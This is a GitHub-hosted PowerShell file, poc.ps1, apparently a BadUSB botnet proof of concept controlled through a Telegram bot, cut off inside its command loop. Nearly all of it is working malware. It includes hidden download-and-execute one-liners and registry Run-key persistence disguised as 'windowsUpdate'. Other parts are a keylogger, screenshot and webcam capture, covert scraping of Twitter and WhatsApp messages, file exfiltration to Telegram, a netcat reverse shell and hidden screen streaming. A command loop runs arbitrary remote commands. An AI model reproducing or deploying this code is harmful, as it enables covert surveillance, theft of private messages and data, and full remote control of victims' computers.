-
Notifications
You must be signed in to change notification settings - Fork 48
/
poc.ps1
752 lines (635 loc) · 28.7 KB
/
poc.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
<#
BADUSB COMMANDS:
# Execute
powershell.exe -windowstyle hidden -file this_file.ps1
#Execute script from github
iex ((New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/alexfrancow/badusb_botnet/master/poc.ps1'))
PowerShell.exe -WindowStyle Hidden -Command iex ((New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/alexfrancow/badusb_botnet/master/poc.ps1'))
PowerShell.exe -WindowStyle Minimized -Command iex ((New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/alexfrancow/badusb_botnet/master/poc.ps1'))
REGEDIT:
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v windowsUpdate /t REG_SZ /d "powershell.exe -windowstyle hidden -file C:\Users\$env:username\Documents\windowsUpdate.ps1"
https://www.akadia.com/services/windows_registry.html
BOT TELEGRAM:
https://stackoverflow.com/questions/34457568/how-to-show-options-in-telegram-bot
#>
############
## CONFIG ##
############
$BotToken = ""
$ChatID = ''
$githubScript = 'https://raw.githubusercontent.com/alexfrancow/badusb_botnet/master/poc.ps1'
###############
## FUNCTIONS ##
###############
function turnOffScreen {
# Source: http://www.powershellmagazine.com/2013/07/18/pstip-how-to-switch-off-display-with-powershell/
# Turn display off by calling WindowsAPI.
# SendMessage(HWND_BROADCAST,WM_SYSCOMMAND, SC_MONITORPOWER, POWER_OFF)
# HWND_BROADCAST 0xffff
# WM_SYSCOMMAND 0x0112
# SC_MONITORPOWER 0xf170
# POWER_OFF 0x0002
Add-Type -TypeDefinition '
using System;
using System.Runtime.InteropServices;
namespace Utilities {
public static class Display
{
[DllImport("user32.dll", CharSet = CharSet.Auto)]
private static extern IntPtr SendMessage(
IntPtr hWnd,
UInt32 Msg,
IntPtr wParam,
IntPtr lParam
);
public static void PowerOff ()
{
SendMessage(
(IntPtr)0xffff, // HWND_BROADCAST
0x0112, // WM_SYSCOMMAND
(IntPtr)0xf170, // SC_MONITORPOWER
(IntPtr)0x0002 // POWER_OFF
);
}
}
}
'
[Utilities.Display]::PowerOff()
}
function backdoor {
reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v windowsUpdate /f
Send-Message "Downloading.."
Invoke-WebRequest -Uri $githubScript -OutFile C:\Users\$env:username\Documents\windowsUpdate.ps1
Send-Message "Adding_to_the_reg.."
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v windowsUpdate /t REG_SZ /d "powershell.exe -windowstyle hidden -file C:\Users\$env:username\Documents\windowsUpdate.ps1"
# Check backdoor
#$checkBackdoor = Get-CimInstance Win32_StartupCommand | Select-String windowsUpdate
$checkBackdoor = reg query HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run | Select-String windowsUpdate
Invoke-RestMethod -Uri "https://api.telegram.org/bot$($BotToken)/sendMessage?chat_id=$($ChatID)&text=$($checkBackdoor)"
# Backdoor on startup programs
$command = cmd.exe /c "powershell.exe -windowstyle hidden -file C:\Users\$env:username\Documents\windowsUpdate.ps1"
Invoke-Expression -Command:$command
}
function screenshot {
[Reflection.Assembly]::LoadWithPartialName("System.Drawing")
function screenshot([Drawing.Rectangle]$bounds, $path) {
$bmp = New-Object Drawing.Bitmap $bounds.width, $bounds.height
$graphics = [Drawing.Graphics]::FromImage($bmp)
$graphics.CopyFromScreen($bounds.Location, [Drawing.Point]::Empty, $bounds.size)
$bmp.Save($path)
$graphics.Dispose()
$bmp.Dispose()
}
$bounds = [Drawing.Rectangle]::FromLTRB(0, 0, 1920, 1080)
screenshot $bounds "C:\Users\$env:username\Documents\screenshot.jpg"
}
function cleanAll {
# Remove screenshots
Send-Message "Deleting_screenshots.."
Remove-Item "C:\Users\$env:username\Documents\screenshot.jpg"
# Remove cUrl
Send-Message "Deleting_cURL.."
Remove-Item -Recurse "C:\Users\$env:username\AppData\Local\Temp\1"
# Remove backdoor
Send-Message "Deleting_backdoor.."
Remove-Item "C:\Users\$env:username\Documents\windowsUpdate.ps1"
reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v windowsUpdate /f
# Remove webcam
Send-Message "Deleting_webcam.."
Remove-Item "C:\Users\$env:username\Documents\CommandCam.exe"
# Remove netcat
Send-Message "Deleting_netcat.."
Remove-Item -Recurse "C:\Users\$env:username\Documents\nc"
Remove-Item "C:\Users\$env:username\Documents\nc.zip"
}
function installCurl {
$curl = "C:\Users\" + $env:username + "\appdata\local\temp\1\curl.exe"
if(![System.IO.File]::Exists($curl)){
# file with path $path doesn't exist
$ruta = "C:\Users\" + $env:username + "\appdata\local\temp\1"
$curl_zip = $ruta + "\curl.zip"
$curl = $ruta + "\" + "curl.exe"
$curl_mod = $ruta + "\" + "curl_mod.exe"
if ( (Test-Path $ruta) -eq $false) {mkdir $ruta} else {}
if ( (Test-Path $curl_mod) -eq $false ) {$webclient = "system.net.webclient" ; $webclient = New-Object $webclient ; $webrequest = $webclient.DownloadFile("https://raw.githubusercontent.com/cybervaca/psbotelegram/master/Funciones/curl.zip","$curl_zip")
[System.Reflection.Assembly]::LoadWithPartialName('System.IO.Compression.FileSystem') | Out-Null
[System.IO.Compression.ZipFile]::ExtractToDirectory("$curl_zip","$ruta") | Out-Null
}
return $curl
}
# else curl exist
return $curl
}
function sendPhoto {
Send-Message "Sending.."
$uri = "https://api.telegram.org/bot" + $BotToken + "/sendPhoto"
$photo = "C:\Users\$env:username\Documents\screenshot.jpg"
$curl = installCurl
$argumenlist = $uri + ' -F chat_id=' + "$ChatID" + ' -F photo=@' + $photo + ' -k '
Start-Process $curl -ArgumentList $argumenlist -WindowStyle Hidden
Start-Sleep -Seconds 5
Send-Message "Deleting.."
Remove-Item $photo
#& $curl -s -X POST "https://api.telegram.org/bot"$BotToken"/sendPhoto" -F chat_id=$ChatID -F photo="@$SnapFile"
}
function Send-Message($message) {
$uri = "https://api.telegram.org/bot" + $BotToken + "/sendMessage"
$curl = installCurl
$argumenlist = $uri + ' -F chat_id=' + "$ChatID" + ' -F text=' + $message + ' -k '
Start-Process $curl -ArgumentList $argumenlist -WindowStyle Hidden
}
function ipPublic {
#$ipPublic = Invoke-RestMethod http://ipinfo.io/json | Select -exp ip
$ipPublic = Invoke-RestMethod http://ipinfo.io/json | Select-Object -Property city, region, postal, ip
Invoke-RestMethod -Uri "https://api.telegram.org/bot$($BotToken)/sendMessage?chat_id=$($ChatID)&text=$($ipPublic)&parse_mode=html"
}
function download($FileToDownload) {
$uri = "https://api.telegram.org/bot" + $BotToken + "/sendDocument"
$curl = installCurl
$argumenlist = $uri + ' -F chat_id=' + "$ChatID" + ' -F document=@' + $FileToDownload + ' -k '
Start-Process $curl -ArgumentList $argumenlist -WindowStyle Hidden
#curl -F chat_id="$ChatID" -F document=@"$FileToDownload" https://api.telegram.org/bot<token>/sendDocument
}
function keylogger($seconds) {
# Requires -Version 2
# Signatures for API Calls
$signatures = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
public static extern short GetAsyncKeyState(int virtualKeyCode);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
'@
$Path = "$env:temp\keylogger.txt"
# load signatures and make members available
$API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
# create output file
$null = New-Item -Path $Path -ItemType File -Force
try {
Write-Host 'Recording..'
Send-Message 'Recording..'
# create endless loop. When user presses CTRL+C, finally-block
# executes and shows the collected key presses
$timeout = new-timespan -Seconds $time
$sw = [diagnostics.stopwatch]::StartNew()
while ($sw.elapsed -lt $timeout) {
Start-Sleep -Milliseconds 40
# scan all ASCII codes above 8
for ($ascii = 9; $ascii -le 254; $ascii++) {
# get current key state
$state = $API::GetAsyncKeyState($ascii)
# is key pressed?
if ($state -eq -32767) {
$null = [console]::CapsLock
# translate scan code to real code
$virtualKey = $API::MapVirtualKey($ascii, 3)
# get keyboard state for virtual keys
$kbstate = New-Object Byte[] 256
$checkkbstate = $API::GetKeyboardState($kbstate)
# prepare a StringBuilder to receive input key
$mychar = New-Object -TypeName System.Text.StringBuilder
# translate virtual key
$success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
if ($success) {
# add key to logger file
[System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
}
}
}
}
}
finally {
# open logger file in Notepad - Only for test
#notepad $Path
Write-Host "Downloading keylogger file.."
Send-Message 'Downloading..'
download $Path
Start-Sleep -Seconds 5
Write-Host "Deleting keylogger file.."
Send-Message 'Deleting..'
Remove-Item $Path
}
}
function webcam {
Send-Message "Downloading.."
# https://batchloaf.wordpress.com/commandcam/
$url = "https://github.com/tedburke/CommandCam/raw/master/CommandCam.exe"
$outpath = "C:\Users\$env:username\Documents\CommandCam.exe"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Invoke-WebRequest -Uri $url -OutFile $outpath
Send-Message "Taking_picture.."
$args = "/filename C:\Users\$env:username\Documents\image.jpg"
Start-Process $outpath -ArgumentList $args -WindowStyle Hidden
Start-Sleep -Seconds 5
Send-Message "Sending_picture.."
$uri = "https://api.telegram.org/bot" + $BotToken + "/sendPhoto"
$photo = "C:\Users\$env:username\Documents\image.jpg"
$curl = installCurl
$argumenlist = $uri + ' -F chat_id=' + "$ChatID" + ' -F photo=@' + $photo + ' -k '
Start-Process $curl -ArgumentList $argumenlist -WindowStyle Hidden
Start-Sleep -Seconds 5
Send-Message "Deleting_picture.."
Remove-Item $photo
Remove-Item $outpath
}
function mainBrowser {
Send-Message "Checking_main_browser_on_the_reg.."
$mainBrowser = reg query HKEY_CURRENT_USER\Software\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice
if ($mainBrowser -match 'chrome') {
Send-Message "Chrome!"
$chrome = "${env:ProgramFiles(x86)}\Google\Chrome\Application\chrome.exe"
if(![System.IO.File]::Exists($chrome)){
$chrome = "${env:ProgramFiles}\Google\Chrome\Application\chrome.exe"
Send-Message "Chrome x64!"
return $chrome
}
Send-Message "Chromex86!"
return $chrome
}
ElseIf ($mainBrowser -match 'Firefox') {
Send-Message "Firefox!"
$firefox = "${env:ProgramFiles(x86)}\Mozilla Firefox\firefox.exe"
if(![System.IO.File]::Exists($firefox)){
$firefox = "${env:ProgramFiles}\Mozilla Firefox\firefox.exe"
Send-Message "Firefox x64!"
return $firefox
}
Send-Message "Firefoxx86!"
return $firefox
}
}
function HackTwitterW10 {
<#
Creará un nuevo dekstop virtual e iniciará ahí el firefox y guardará el html, como es un desktop virtual el usuario no se enterará de lo que pasa
Esta funcion solo es válida para W10.
Manuales:
https://docs.microsoft.com/en-us/windows/desktop/inputdev/virtual-key-codes
#>
# Inicia un virtual desktop.
$KeyShortcut = Add-Type -MemberDefinition @"
[DllImport("user32.dll")]
static extern void keybd_event(byte bVk, byte bScan, uint dwFlags, UIntPtr dwExtraInfo);
//WIN + CTRL + D: Create a new desktop
public static void CreateVirtualDesktopInWin10()
{
//Key down
keybd_event((byte)0x5B, 0, 0, UIntPtr.Zero); //Left Windows key
keybd_event((byte)0x11, 0, 0, UIntPtr.Zero); //CTRL
keybd_event((byte)0x44, 0, 0, UIntPtr.Zero); //D
//Key up
keybd_event((byte)0x5B, 0, (uint)0x2, UIntPtr.Zero);
keybd_event((byte)0x11, 0, (uint)0x2, UIntPtr.Zero);
keybd_event((byte)0x44, 0, (uint)0x2, UIntPtr.Zero);
}
"@ -Name CreateVirtualDesktop2 -UsingNamespace System.Threading -PassThru
# Cambia al virtual desktop de la iquierda.
$KeyShortcut2 = Add-Type -MemberDefinition @"
[DllImport("user32.dll")]
static extern void keybd_event(byte bVk, byte bScan, uint dwFlags, UIntPtr dwExtraInfo);
//WIN + CTRL + LEFT: Switch desktop
public static void SwitchLeftVirtualDesktopInWin10()
{
//Key down
keybd_event((byte)0x5B, 0, 0, UIntPtr.Zero); //Left Windows key
keybd_event((byte)0x11, 0, 0, UIntPtr.Zero); //CTRL
keybd_event((byte)0x25, 0, 0, UIntPtr.Zero); //LEFT
//Key up
keybd_event((byte)0x5B, 0, (uint)0x2, UIntPtr.Zero);
keybd_event((byte)0x11, 0, (uint)0x2, UIntPtr.Zero);
keybd_event((byte)0x25, 0, (uint)0x2, UIntPtr.Zero);
}
"@ -Name SwitchLeftVirtualDesktop -UsingNamespace System.Threading -PassThru
# Cambia al virtual desktop de la derecha.
$KeyShortcut3 = Add-Type -MemberDefinition @"
[DllImport("user32.dll")]
static extern void keybd_event(byte bVk, byte bScan, uint dwFlags, UIntPtr dwExtraInfo);
//WIN + CTRL + LEFT: Switch desktop
public static void SwitchRightVirtualDesktopInWin10()
{
//Key down
keybd_event((byte)0x5B, 0, 0, UIntPtr.Zero); //Left Windows key
keybd_event((byte)0x11, 0, 0, UIntPtr.Zero); //CTRL
keybd_event((byte)0x27, 0, 0, UIntPtr.Zero); //RIGHT
//Key up
keybd_event((byte)0x5B, 0, (uint)0x2, UIntPtr.Zero);
keybd_event((byte)0x11, 0, (uint)0x2, UIntPtr.Zero);
keybd_event((byte)0x27, 0, (uint)0x2, UIntPtr.Zero);
}
"@ -Name SwitchRightVirtualDesktop -UsingNamespace System.Threading -PassThru
$KeyShortcut::CreateVirtualDesktopInWin10()
# Inicia el navegador por defecto y abre twitter.
$mainBrowser = mainBrowser
Start-Process $mainBrowser -ArgumentList '--new-window https://twitter.com/messages'
Start-Sleep -Seconds 2
$wshell = New-Object -ComObject wscript.shell
$KeyShortcut2::SwitchLeftVirtualDesktopInWin10()
# Espera 10 segundos a cargar completamente la página
Start-sleep -Seconds 10
# Activa la ventana con el nombre: 'Iniciar sesión en Twitter'
$KeyShortcut3::SwitchRightVirtualDesktopInWin10()
$wshell.AppActivate('twitter')
$wshell.SendKeys("^{s}")
$wshell.AppActivate('Guardar como')
Sleep -Seconds 2
$wshell.SendKeys('t')
Sleep -Seconds 2
$wshell.SendKeys('~')
$KeyShortcut2::SwitchLeftVirtualDesktopInWin10()
Sleep -Seconds 5
Get-ChildItem "C:\Users\$env:username\Downloads\t_files" | Compress-Archive -DestinationPath "C:\Users\$env:username\Downloads\t_files.zip" -CompressionLevel Optimal
Sleep -Seconds 5
download "C:\Users\$env:username\Downloads\t.html"
download "C:\Users\$env:username\Downloads\t_files.zip"
Sleep -Seconds 5
Remove-Item "C:\Users\$env:username\Downloads\t.html"
Remove-Item -Recurse "C:\Users\$env:username\Downloads\t_files"
Remove-Item "C:\Users\$env:username\Downloads\t_files.zip"
}
function hackWhatsAPPW10 {
<#
No descarga las conversaciones de cada usuario, para ello habria que entrar en cada conversacion para que el JS carge de la BD de whatsapp los mensajes.
Manuales:
https://docs.microsoft.com/en-us/windows/desktop/inputdev/virtual-key-codes
#>
# Inicia un virtual desktop.
$KeyShortcut = Add-Type -MemberDefinition @"
[DllImport("user32.dll")]
static extern void keybd_event(byte bVk, byte bScan, uint dwFlags, UIntPtr dwExtraInfo);
//WIN + CTRL + D: Create a new desktop
public static void CreateVirtualDesktopInWin10()
{
//Key down
keybd_event((byte)0x5B, 0, 0, UIntPtr.Zero); //Left Windows key
keybd_event((byte)0x11, 0, 0, UIntPtr.Zero); //CTRL
keybd_event((byte)0x44, 0, 0, UIntPtr.Zero); //D
//Key up
keybd_event((byte)0x5B, 0, (uint)0x2, UIntPtr.Zero);
keybd_event((byte)0x11, 0, (uint)0x2, UIntPtr.Zero);
keybd_event((byte)0x44, 0, (uint)0x2, UIntPtr.Zero);
}
"@ -Name CreateVirtualDesktop2 -UsingNamespace System.Threading -PassThru
# Cambia al virtual desktop de la iquierda.
$KeyShortcut2 = Add-Type -MemberDefinition @"
[DllImport("user32.dll")]
static extern void keybd_event(byte bVk, byte bScan, uint dwFlags, UIntPtr dwExtraInfo);
//WIN + CTRL + LEFT: Switch desktop
public static void SwitchLeftVirtualDesktopInWin10()
{
//Key down
keybd_event((byte)0x5B, 0, 0, UIntPtr.Zero); //Left Windows key
keybd_event((byte)0x11, 0, 0, UIntPtr.Zero); //CTRL
keybd_event((byte)0x25, 0, 0, UIntPtr.Zero); //LEFT
//Key up
keybd_event((byte)0x5B, 0, (uint)0x2, UIntPtr.Zero);
keybd_event((byte)0x11, 0, (uint)0x2, UIntPtr.Zero);
keybd_event((byte)0x25, 0, (uint)0x2, UIntPtr.Zero);
}
"@ -Name SwitchLeftVirtualDesktop -UsingNamespace System.Threading -PassThru
# Cambia al virtual desktop de la derecha.
$KeyShortcut3 = Add-Type -MemberDefinition @"
[DllImport("user32.dll")]
static extern void keybd_event(byte bVk, byte bScan, uint dwFlags, UIntPtr dwExtraInfo);
//WIN + CTRL + LEFT: Switch desktop
public static void SwitchRightVirtualDesktopInWin10()
{
//Key down
keybd_event((byte)0x5B, 0, 0, UIntPtr.Zero); //Left Windows key
keybd_event((byte)0x11, 0, 0, UIntPtr.Zero); //CTRL
keybd_event((byte)0x27, 0, 0, UIntPtr.Zero); //RIGHT
//Key up
keybd_event((byte)0x5B, 0, (uint)0x2, UIntPtr.Zero);
keybd_event((byte)0x11, 0, (uint)0x2, UIntPtr.Zero);
keybd_event((byte)0x27, 0, (uint)0x2, UIntPtr.Zero);
}
"@ -Name SwitchRightVirtualDesktop -UsingNamespace System.Threading -PassThru
$KeyShortcut::CreateVirtualDesktopInWin10()
# Inicia el navegador por defecto y abre twitter.
$mainBrowser = mainBrowser
Start-Process $mainBrowser -ArgumentList '--new-window https://web.whatsapp.com/'
Start-Sleep -Seconds 2
$wshell = New-Object -ComObject wscript.shell
$KeyShortcut2::SwitchLeftVirtualDesktopInWin10()
# Espera 10 segundos a cargar completamente la página
Start-sleep -Seconds 10
# Activa la ventana con el nombre: 'Iniciar sesión en Twitter'
$KeyShortcut3::SwitchRightVirtualDesktopInWin10()
$wshell.AppActivate('Mozilla Firefox')
$wshell.SendKeys("^{s}")
$wshell.AppActivate('Guardar como')
Sleep -Seconds 2
$wshell.SendKeys('w')
Sleep -Seconds 1
$wshell.SendKeys('~')
$KeyShortcut2::SwitchLeftVirtualDesktopInWin10()
Sleep -Seconds 5
Get-ChildItem "C:\Users\$env:username\Downloads\w_files" | Compress-Archive -DestinationPath "C:\Users\$env:username\Downloads\w_files.zip" -CompressionLevel Optimal
Sleep -Seconds 5
download "C:\Users\$env:username\Downloads\w.html"
download "C:\Users\$env:username\Downloads\w_files.zip"
Sleep -Seconds 5
Remove-Item "C:\Users\$env:username\Downloads\w.html"
Remove-Item -Recurse "C:\Users\$env:username\Downloads\w_files"
Remove-Item "C:\Users\$env:username\Downloads\w_files.zip"
}
function netcat($ip) {
Send-Message "Downloading_netcat.."
$url = "https://eternallybored.org/misc/netcat/netcat-win32-1.12.zip"
$outpath = "C:\Users\$env:username\Documents\nc.zip"
$outpathUnzip = "C:\Users\$env:username\Documents\nc"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Invoke-WebRequest -Uri $url -OutFile $outpath
Start-Sleep -Seconds 5
Expand-Archive $outpath -DestinationPath $outpathUnzip
$args = "$ip 8888 -e cmd.exe"
$netcat = $outpathUnzip+"\nc.exe"
Start-Sleep -Seconds 5
Send-Message "Connecting.."
Send-Message "IP:$ip"
Send-Message "Port:8888"
Start-Process $netcat -ArgumentList $args -WindowStyle Hidden
}
function stopnetcat {
Send-Message "Stopping_netcat.."
taskkill /F /IM nc.exe
Sleep -Seconds 5
Send-Message "Deleting_netcat.."
Remove-Item -Recurse "C:\Users\$env:username\Documents\nc"
Remove-Item "C:\Users\$env:username\Documents\nc.zip"
}
function twitch($STREAM_KEY) {
Send-Message "Downloading_FFmpeg.."
$url = "https://ffmpeg.zeranoe.com/builds/win32/static/ffmpeg-20180828-26dc763-win32-static.zip"
$outpath = "C:\Users\$env:username\Documents\FFmpeg.zip"
$outpathUnzip = "C:\Users\$env:username\Documents\FFmpeg"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Invoke-WebRequest -Uri $url -OutFile $outpath
Send-Message "Starting_streaming.."
Start-Sleep -Seconds 5
Expand-Archive $outpath -DestinationPath $outpathUnzip
$FFmpeg = $outpathUnzip+"\ffmpeg-20180828-26dc763-win32-static\bin\ffmpeg.exe"
Start-Process -Filepath $FFmpeg "-f gdigrab -s 1920x1080 -framerate 15 -i desktop -c:v libx264 -preset fast -pix_fmt yuv420p -s 1280x800 -threads 0 -f flv rtmp://live-mad.twitch.tv/app/$STREAM_KEY" -windowstyle hidden
}
function stoptwitch {
Send-Message "Stopping twitch.."
taskkill /F /IM ffmpeg.exe
Sleep -Seconds 5
Remove-Item -Recurse "C:\Users\$env:username\Documents\FFmpeg"
Remove-Item "C:\Users\$env:username\Documents\FFmpeg.zip"
}
#####################
## BYPASS POLICIES ##
#####################
# Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted
##########################
## CONNECT WITH CHANNEL ##
##########################
$whoami = Invoke-Expression whoami
$ipV4 = Test-Connection -ComputerName (hostname) -Count 1 | Select -ExpandProperty IPV4Address
$ipV4 = $ipV4.IPAddressToString
$hostname = Invoke-Expression hostname
$pwd = pwd
$info = '[!] ' + $hostname + ' - ' + $whoami + ' - ' + $ipv4 + ' ' + $pwd + '> '
if($nopreview) { $preview_mode = "True" }
if($markdown) { $markdown_mode = "Markdown" } else {$markdown_mode = ""}
$payload = @{
"chat_id" = $ChatID;
"text" = $info;
"parse_mode" = $markdown_mode;
"disable_web_page_preview" = $preview_mode;
}
Invoke-WebRequest `
-Uri ("https://api.telegram.org/bot{0}/sendMessage" -f $BotToken) `
-Method Post `
-ContentType "application/json;charset=utf-8" `
-Body (ConvertTo-Json -Compress -InputObject $payload)
######################
## WAIT FOR COMMAND ##
######################
#Time to sleep for each loop before checking if a message with the magic word was received
$LoopSleep = 3
#Get the Last Message Time at the beginning of the script:When the script is ran the first time, it will ignore any last message received!
$BotUpdates = Invoke-WebRequest -Uri "https://api.telegram.org/bot$($BotToken)/getUpdates"
$BotUpdatesResults = [array]($BotUpdates | ConvertFrom-Json).result
$LastMessageTime_Origin = $BotUpdatesResults[$BotUpdatesResults.Count-1].message.date
#Read the responses in a while cycle
$DoNotExit = 1
#$PreviousLoop_LastMessageTime is going to be updated at every cycle (if the last message date changes)
$PreviousLoop_LastMessageTime = $LastMessageTime_Origin
$SleepStartTime = [Float] (get-date -UFormat %s) #This will be used to check if the $SleepTime has passed yet before sending a new notification out
While ($DoNotExit) {
Sleep -Seconds $LoopSleep
#Reset variables that might be dirty from the previous cycle
$LastMessageText = ""
$CommandToRun = ""
$CommandToRun_Result = ""
$CommandToRun_SimplifiedOutput = ""
$Message = ""
#Get the current Bot Updates and store them in an array format to make it easier
$BotUpdates = Invoke-WebRequest -Uri "https://api.telegram.org/bot$($BotToken)/getUpdates"
$BotUpdatesResults = [array]($BotUpdates | ConvertFrom-Json).result
#Get just the last message:
$LastMessage = $BotUpdatesResults[$BotUpdatesResults.Count-1]
#Get the last message time
$LastMessageTime = $LastMessage.message.date
#If the $LastMessageTime is newer than $PreviousLoop_LastMessageTime, then the user has typed something!
If ($LastMessageTime -gt $PreviousLoop_LastMessageTime) {
#Looks like there's a new message!
#Update $PreviousLoop_LastMessageTime with the time from the latest message
$PreviousLoop_LastMessageTime = $LastMessageTime
#Update the LastMessageTime
$LastMessageTime = $LastMessage.Message.Date
#Update the $LastMessageText
$LastMessageText = $LastMessage.Message.Text
Switch -Wildcard ($LastMessageText) {
"/select $ipV4 *" { #Important: run with a space
#The user wants to run a command
$CommandToRun = ($LastMessageText -split ("/select $ipV4 "))[1] #This will remove "run "
#$Message = "Ok $($LastMessage.Message.from.first_name), I will try to run the following command on $ipV4 : `n<b>$($CommandToRun)</b>"
#$SendMessage = Invoke-RestMethod -Uri "https://api.telegram.org/bot$($BotToken)/sendMessage?chat_id=$($ChatID)&text=$($Message)&parse_mode=html"
#Run the command
Try {
Invoke-Expression $CommandToRun | Out-String | % {
$CommandToRun_Result += "`n $($_)"
}
}
Catch {
$CommandToRun_Result = $_.Exception.Message
}
$Message = "$($LastMessage.Message.from.first_name), I've ran <b>$($CommandToRun)</b> and this is the output:`n$CommandToRun_Result"
$SendMessage = Invoke-RestMethod -Uri "https://api.telegram.org/bot$($BotToken)/sendMessage?chat_id=$($ChatID)&text=$($Message)&parse_mode=html"
$pwd = pwd
$info = '[!] ' + $hostname + ' - ' + $whoami + ' - ' + $ipv4 + ' ' + $pwd + '> '
Invoke-RestMethod -Uri "https://api.telegram.org/bot$($BotToken)/sendMessage?chat_id=$($ChatID)&text=$($info)"
}
"/stop $ipV4" {
#The user wants to stop the script
write-host "The script will end in 5 seconds"
$ExitMessage = "$($LastMessage.Message.from.first_name) has requested the script to be terminated. It will need to be started again in order to accept new messages!"
$ExitRestResponse = Invoke-RestMethod -Uri "https://api.telegram.org/bot$($BotToken)/sendMessage?chat_id=$($ChatID)&text=$($ExitMessage)&parse_mode=html"
Sleep -seconds 5
$DoNotExit = 0
}
"/list" {
Invoke-WebRequest `
-Uri ("https://api.telegram.org/bot{0}/sendMessage" -f $BotToken) `
-Method Post `
-ContentType "application/json;charset=utf-8" `
-Body (ConvertTo-Json -Compress -InputObject $payload)
}
"/screenshot $ipV4"{
screenshot
sendPhoto
}
"/backdoor $ipV4" {
backdoor
}
"/meterpreter $ipV4" {
}
"/cleanAll $ipV4" {
cleanAll
}
"/ipPublic $ipV4" {
ipPublic
}
"/download $ipV4 *"{
$FileToDownload = ($LastMessageText -split ("/download $ipV4 "))[1]
download $FileToDownload
}
"/hackT $ipV4"{
HackTwitterW10
}
"/webcam $ipV4"{
webcam
}
"/hackW $ipV4"{
hackWhatsAPPW10
}
"/keylogger $ipV4 *"{
$time = ($LastMessageText -split ("/keylogger $ipV4 "))[1]
keylogger seconds $time
}
"/nc $ipV4 *"{
$ip = ($LastMessageText -split ("/nc $ipV4 "))[1]
netcat $ip
}
"/stopnc $ipV4"{
stopnetcat
}
"/starttwitch $ipV4 *"{
$STREAM_KEY = ($LastMessageText -split ("/twitch $ipV4 "))[1]
twitch $STREAM_KEY
}
"/stoptwitch $ipV4"{
stoptwitch
}
default {
#The message sent is unknown
$Message = "Sorry $($LastMessage.Message.from.first_name), but I don't understand ""$($LastMessageText)""!"
